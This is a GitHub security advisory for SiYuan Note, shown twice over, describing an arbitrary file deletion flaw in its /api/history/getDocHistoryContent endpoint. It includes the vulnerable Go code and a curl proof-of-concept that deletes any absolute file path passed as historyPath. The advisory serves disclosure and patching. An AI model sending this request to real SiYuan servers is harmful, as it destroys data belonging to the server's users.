Headline
GHSA-8fx8-pffw-w498: SiYuan has an arbitrary file deletion vulnerability
Summary
A arbitrary file deletion vulnerability has been identified in the latest version of Siyuan Note. The vulnerability exists in the POST /api/history/getDocHistoryContent
endpoint.An attacker can craft a payload to exploit this vulnerability, resulting in the deletion of arbitrary files on the server.
Details
The vulnerability can be reproduced by sending a crafted request to the /api/history/getDocHistoryContent
endpoint.
Sending a request to the /api/history/getDocHistoryContent
like:
curl "http://127.0.0.1:6806/api/history/getDocHistoryContent" -X POST -H "Content-Type: application/json" -d '{"historyPath":"<abs_filepath_of_a_file>"}'
Replace <abs_filepath_of_a_file>
with the absolute file path of the target file you wish to delete.
The historyPath
parameter in the payload is processed by the func getDocHistoryContent
in api/history.go:133
.
In turn, historyPath
is passed to the func GetDocHistoryContent
located in model/history.go:150
, which is the slink of the vulnerability.
if historyPath
exists and does not satisfy the filesys.ParseJSONWithoutFix
, then it will be deleted by os.RemoveAll
func GetDocHistoryContent(historyPath, keyword string, highlight bool) (id, rootID, content string, isLargeDoc bool, err error) {
if !gulu.File.IsExist(historyPath) {
logging.LogWarnf("doc history [%s] not exist", historyPath)
return
}
data, err := filelock.ReadFile(historyPath)
if err != nil {
logging.LogErrorf("read file [%s] failed: %s", historyPath, err)
return
}
isLargeDoc = 1024*1024*1 <= len(data)
luteEngine := NewLute()
historyTree, err := filesys.ParseJSONWithoutFix(data, luteEngine.ParseOptions)
if err != nil {
logging.LogErrorf("parse tree from file [%s] failed, remove it", historyPath)
os.RemoveAll(historyPath)
return
}
...
}
PoC
curl "http://127.0.0.1:6806/api/history/getDocHistoryContent" -X POST -H "Content-Type: application/json" -d '{"historyPath":"<abs_filepath_of_a_file>"}'
Impact
arbitrary file deletion vulnerability
Summary
A arbitrary file deletion vulnerability has been identified in the latest version of Siyuan Note. The vulnerability exists in the POST /api/history/getDocHistoryContent endpoint.An attacker can craft a payload to exploit this vulnerability, resulting in the deletion of arbitrary files on the server.
Details
The vulnerability can be reproduced by sending a crafted request to the /api/history/getDocHistoryContent endpoint.
Sending a request to the /api/history/getDocHistoryContent like:
curl "http://127.0.0.1:6806/api/history/getDocHistoryContent" -X POST -H "Content-Type: application/json" -d '{"historyPath":"<abs_filepath_of_a_file>"}'
Replace <abs_filepath_of_a_file> with the absolute file path of the target file you wish to delete.
The historyPath parameter in the payload is processed by the func getDocHistoryContent in api/history.go:133.
In turn, historyPath is passed to the func GetDocHistoryContent located in model/history.go:150 , which is the slink of the vulnerability.
if historyPath exists and does not satisfy the filesys.ParseJSONWithoutFix, then it will be deleted by os.RemoveAll
func GetDocHistoryContent(historyPath, keyword string, highlight bool) (id, rootID, content string, isLargeDoc bool, err error) { if !gulu.File.IsExist(historyPath) { logging.LogWarnf("doc history [%s] not exist", historyPath) return }
data, err := filelock.ReadFile(historyPath)
if err != nil {
logging.LogErrorf("read file \[%s\] failed: %s", historyPath, err)
return
}
isLargeDoc \= 1024\*1024\*1 <= len(data)
luteEngine := NewLute()
historyTree, err := filesys.ParseJSONWithoutFix(data, luteEngine.ParseOptions)
if err != nil {
logging.LogErrorf("parse tree from file \[%s\] failed, remove it", historyPath)
os.RemoveAll(historyPath)
return
}
...
}
PoC
curl "http://127.0.0.1:6806/api/history/getDocHistoryContent" -X POST -H "Content-Type: application/json" -d '{"historyPath":"<abs_filepath_of_a_file>"}'
Impact
arbitrary file deletion vulnerability
References
- GHSA-8fx8-pffw-w498
- siyuan-note/siyuan@d9887ae